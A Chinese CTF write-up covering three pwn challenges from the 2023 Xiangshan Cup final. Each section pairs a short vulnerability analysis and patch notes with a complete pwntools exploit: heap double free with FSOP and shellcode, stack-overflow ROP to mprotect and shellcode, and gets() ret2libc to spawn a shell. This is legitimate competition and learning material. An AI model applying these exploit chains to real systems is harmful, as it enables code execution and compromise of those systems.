2023香山杯决赛Pwn-分析
进决赛了,但是和金砖的比赛冲突了决赛没时间去了呜呜呜😭😭😭,选择去打金砖了,好打一点。
camera
程序分析
根据程序的功能然后加上一些手法,可以double free
后面就是填满 tcachebins 然后 fastbin double free 就好了
cat 用的顺手了,我就直接用 cat ORW 就好了
Break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
elif args.RE:
return remote()
else:
return process([binary] + argv, *a, **kw)
gdbscript = '''
continue
'''.format(**locals())
binary = './dalao_slo/pwn'
libelf = ''
if (binary!=''): elf = ELF(binary) ; rop=ROP(binary)
if (libelf!=''): libc = ELF(libelf)
libc = elf.libc
io = start(binary)
#io = remote()
def rm(size):
ru('>> \n')
sl('1')
sl(str(size))
def add(size,text):
ru('>> \n')
sl('2')
ru('Please select a film of your preference within your budget.\n')
sl(str(size))
ru('Content: \n')
sl(text)
def load(idx):
ru('>> \n')
sl('3')
ru('whitch one do you want to load\n')
sl(str(idx))
add(0x488,'text0')
add(0x60,'text1')
load(0)
rm(1)
add(0x488,'')
load(0)
rm(1)
ru('content: ')
main_arena = uu64(r(6))
libc_base = main_arena - 2018272
add(0x488,'pad')
for i in range(8):
add(0x60,f'text{i}')
for i in range(8+1,1,-1):
load(i)
rm(8)
for i in range(7):
add(0x60,f'')
#load(8)
load(7)
rm(3)
ru('content: ')
xx = uu64(r(6))
heap_base = xx - 1952
libc.address = libc_base
_IO_list_all = libc.sym['_IO_list_all']
add(0x60,p64(_IO_list_all-0x20))
add(0x60,'/bin/sh\x00')
add(0x60,'/bin/sh\x00')
add(0x60,'/bin/sh\x00')
pay = p64(0)*2 + p64(heap_base + 2832)
add(0x60,pay)
libc.address = libc_base
libc_rop = ROP(libc)
system = libc.sym['system']
mprotect = libc.sym['mprotect']
setcontext = libc.sym['setcontext']
__free_hook = libc.sym['__free_hook']
_IO_list_all = libc.sym['_IO_list_all']
_IO_wfile_jumps = libc.sym['_IO_wfile_jumps']
rax = libc_rop.find_gadget(['pop rax','ret'])[0]
rdi = libc_rop.find_gadget(['pop rdi','ret'])[0]
rsi = libc_rop.find_gadget(['pop rsi','ret'])[0]
rdx = libc_rop.find_gadget(['pop rdx','pop rbx','ret'])[0]
RCE = setcontext + 61
fake_IO_addr = heap_base + 2832
shellcode_addr = fake_IO_addr + 248
pop_5_ret = libc_rop.find_gadget(['pop rbx','pop rbp','pop r13','pop r14','pop r15','ret'])[0] # pop 5*;ret # libc.2.31 9.12
#lss('pop_5_ret')
#gdb.attach(io)
fake_IO_FILE = p64(8)
fake_IO_FILE += p64(RCE) # call
fake_IO_FILE += p64(0) +p64(1) # _IO_write_base # _IO_write_ptr
fake_IO_FILE += p64(fake_IO_addr) # fp->_IO_write_ptr
fake_IO_FILE += p64(rdi) + p64(heap_base) + p64(rsi) + p64(0x1000) + p64(rdx) + p64(7) # pop*5 to me
fake_IO_FILE += p64(fake_IO_addr+0xc0)
fake_IO_FILE += p64(mprotect)
fake_IO_FILE += p64(shellcode_addr)
fake_IO_FILE = fake_IO_FILE.ljust(0x90,b'\x00')
fake_IO_FILE += p64(fake_IO_addr+0x10)
fake_IO_FILE += p64(pop_5_ret) # setcontext Tow CALL #need pop * 5 ;ret
fake_IO_FILE = fake_IO_FILE.ljust(0xb0,b'\x00')
fake_IO_FILE += p64(1) # mode
fake_IO_FILE = fake_IO_FILE.ljust(0xc8,b'\x00')
fake_IO_FILE += p64(_IO_wfile_jumps + 0x30)
fake_IO_FILE = fake_IO_FILE.ljust(0xe0,b'\x00')
fake_IO_FILE += p64(fake_IO_addr)
fake_IO_FILE += asm(shellcraft.cat('/flag'))
add(0x400,fake_IO_FILE)
lss('libc_base')
lss('heap_base')
lss('_IO_list_all')
#gdb.attach(io,'brva 0x001354')
#gdb.attach(io,'b *_IO_switch_to_wget_mode')
#rm(1)
ru('>> \n')
sl('4')
io.interactive()
fix
- 方法1
直接减少最大堆块数量
fix 后
- 方法2
正常情况下 加10个 删 10个
但是呢,主要还是free 后的结构体 +0x8 这个残留,导致漏洞百出
fix前
fix 后
1
2
3
4
mov rdi,[rax+8]
mov qword ptr [qword_4060],rdi
mov qword ptr [rax+0x10],0
mov qword ptr [rax+8],0
没有残留了
how2stack
程序分析
nbytes 可控,栈溢出是必然存在的
Break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
elif args.RE:
return remote()
else:
return process([binary] + argv, *a, **kw)
gdbscript = '''
brva 0x00018A0
continue
#stack 40
'''.format(**locals())
binary = './pwn'
libelf = ''
if (binary!=''): elf = ELF(binary) ; rop=ROP(binary)
if (libelf!=''): libc = ELF(libelf)
io = start(binary)
#io = remote()
def add(size,text):
ru('Your choice: ')
sl('1')
ru('Length: ')
sl(str(size))
ru('Data: ')
s(text)
#gdb.attach(io,'brva 0x00018A0')
pay = b'A' * 0x64
pay += b'\xff' * 4
add(0x68,pay)
ru('ff '*4)
stack = uu64(bytes.fromhex(io.recvline()[:-1].replace(b' ',b'').decode()))
pay = b'A' * 0x64
pay += b'\xff' * 4
pay += p64(stack+48)
add(len(pay),pay)
ru('Result in hex: ')
libc_addr = uu64(bytes.fromhex(io.recvline()[:-1].replace(b' ',b'').decode()))
libc_base = libc_addr - 147587
libc = elf.libc
libc.address = libc_base
libc_rop = ROP(libc)
mprotect = libc.sym['mprotect']
rax = libc_rop.find_gadget(['pop rax','ret'])[0]
rdi = libc_rop.find_gadget(['pop rdi','ret'])[0]
rsi = libc_rop.find_gadget(['pop rsi','ret'])[0]
rdx = libc_rop.find_gadget(['pop rdx','pop rbx','ret'])[0]
pay = b'A' * 0x64
pay += b'\xff' * 4
pay += p64(stack+48)
pay = pay.ljust(0x78,b'\x00')
pay += p64(rdi) + p64(stack & 0xFFFFFFFFFFFFF000)
pay += p64(rsi) + p64(0x3000)
pay += p64(rdx) + p64(7) * 2
pay += p64(mprotect)
pay += p64(stack+88)
pay += asm(shellcraft.cat('/flag'))
#db.attach(io,'brva 0x0000177E')
lss('stack')
lss('libc_base')
gdb.attach(io,'brva 0x018E4')
add(len(pay),pay)
io.interactive()
fix
直接写死 0x60
ezgame
程序分析
漏洞 gets() 溢出,
看看上面那个函数 sub_4015F7(100LL, 1100LL, 10LL, 30LL, 15LL);
Break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
elif args.RE:
return remote()
else:
return process([binary] + argv, *a, **kw)
gdbscript = '''
continue
'''.format(**locals())
binary = './pwn'
libelf = ''
if (binary!=''): elf = ELF(binary) ; rop=ROP(binary)
if (libelf!=''): libc = ELF(libelf)
io = start(binary)
#io = remote()
# 增加攻击值
for i in range(200):
ru('> ')
sl('2')
ru('What kind of monster do you want to fight?\n')
sl('0')
ru('> ')
sl('2')
ru('What kind of monster do you want to fight?\n')
sl('1')
#
#ru('> ')
#sl('1')
# 后面直接 溢出 然后正常 ROP ret2libc 就行了
rop = ROP(binary)
libc = elf.libc
#gdb.attach(io,'b *0x04017FC')
ru('> ')
sl('2')
ru('What kind of monster do you want to fight?\n')
sl('2')
pay = b'A' * 0x658
pay += p64(rop.find_gadget(['pop rdi','ret'])[0]) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(0x401749)
sl(pay)
ru('are increased.\n')
x = uu64(r(6))
libc_base = x - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))
lss('x')
ru('What kind of monster do you want to fight?\n')
sl('2')
pay = b'A' * 0x658
pay += p64(rop.find_gadget(['pop rdi','ret'])[0]+1) +p64(rop.find_gadget(['pop rdi','ret'])[0]) + p64(bin_sh) + p64(system) + p64(0x401749)
sl(pay)
io.interactive()
fix
- fix 前 gets(v1)溢出
直接patch 成一个 sys_call read , 正常读取内容 但是限制输入长度
这样应该是没问题的
本文由作者按照
CC BY 4.0
进行授权